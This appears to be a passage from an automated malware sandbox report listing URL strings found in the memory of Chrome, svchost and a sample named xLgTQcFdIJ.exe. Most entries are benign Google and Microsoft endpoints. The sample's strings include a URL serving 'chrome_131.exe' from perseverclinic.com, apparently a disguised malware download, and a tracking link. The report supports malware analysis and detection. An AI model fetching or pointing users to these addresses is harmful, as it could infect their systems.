Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/$
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/.
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/1
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/8
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/;
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/B
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/E
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/O
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Q
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/T
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Y
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/c
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/e
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/h
Source: chrome.exe, 00000001.00000003.1727973498.0000428400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/j
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/o
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/r
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/y
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727973498.0000428400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1767519037.0000307C01B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1767558805.0000307C01B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000001.00000003.1727973498.0000428400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000001.00000003.1727973498.0000428400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000001.00000002.1841564027.0000307C00030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000001.00000002.1846936269.0000307C0061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850585006.0000307C00C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850585006.0000307C00C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850585006.0000307C00C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEklyCreate
Source: chrome.exe, 00000001.00000003.1771100386.0000307C01958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000001.00000003.1771100386.0000307C01958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000001.00000003.1771100386.0000307C01958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard0
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000001.00000002.1862813710.0000428400238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1863669920.0000428400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardB
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000001.00000002.1863669920.0000428400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000002.1863669920.0000428400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000002.1843668137.0000307C00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1764796942.0000307C014D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763986543.0000307C014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000001.00000003.1728256284.00004284006E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000001.00000002.1863643605.0000428400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000001.00000003.1766334040.0000307C00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843202833.0000307C00340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000001.00000002.1841947459.0000307C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000001.00000002.1843668137.0000307C00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1764796942.0000307C014D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763986543.0000307C014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000001.00000002.1841947459.0000307C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1841947459.0000307C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000001.00000002.1841947459.0000307C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843095692.0000307C00310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1845907427.0000307C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853248247.0000307C010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000001.00000002.1847369077.0000307C006D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847746651.0000307C00780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1849143919.0000307C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843917525.0000307C004A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000001.00000002.1847369077.0000307C006D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyp
Source: chrome.exe, 00000001.00000002.1847746651.0000307C00780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843917525.0000307C004A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852576692.0000307C00F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000001.00000002.1852576692.0000307C00F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000001.00000002.1847746651.0000307C00780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843917525.0000307C004A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852576692.0000307C00F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000001.00000002.1849143919.0000307C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000001.00000003.1764556666.0000307C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000002.1851705775.0000307C00DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000001.00000002.1847301478.0000307C006BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1764556666.0000307C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1764556666.0000307C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD50C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1772059192.0000307C01C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852640847.0000307C00FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852773278.0000307C00FB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743900999.0000307C00A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1772059192.0000307C01C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852640847.0000307C00FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842827934.0000307C002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852773278.0000307C00FB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743900999.0000307C00A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1772059192.0000307C01C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852640847.0000307C00FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842827934.0000307C002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852640847.0000307C00FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852773278.0000307C00FB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743900999.0000307C00A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1772059192.0000307C01C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852640847.0000307C00FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852773278.0000307C00FB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743900999.0000307C00A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000002.1851974318.0000307C00E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852773278.0000307C00FB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1743900999.0000307C00A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1851772957.0000307C00DF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1772059192.0000307C01C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852640847.0000307C00FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://perseverclinic.com/
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://perseverclinic.com/chrome_131.exe
Source: chrome.exe, 00000001.00000002.1849143919.0000307C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000002.1852222460.0000307C00EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
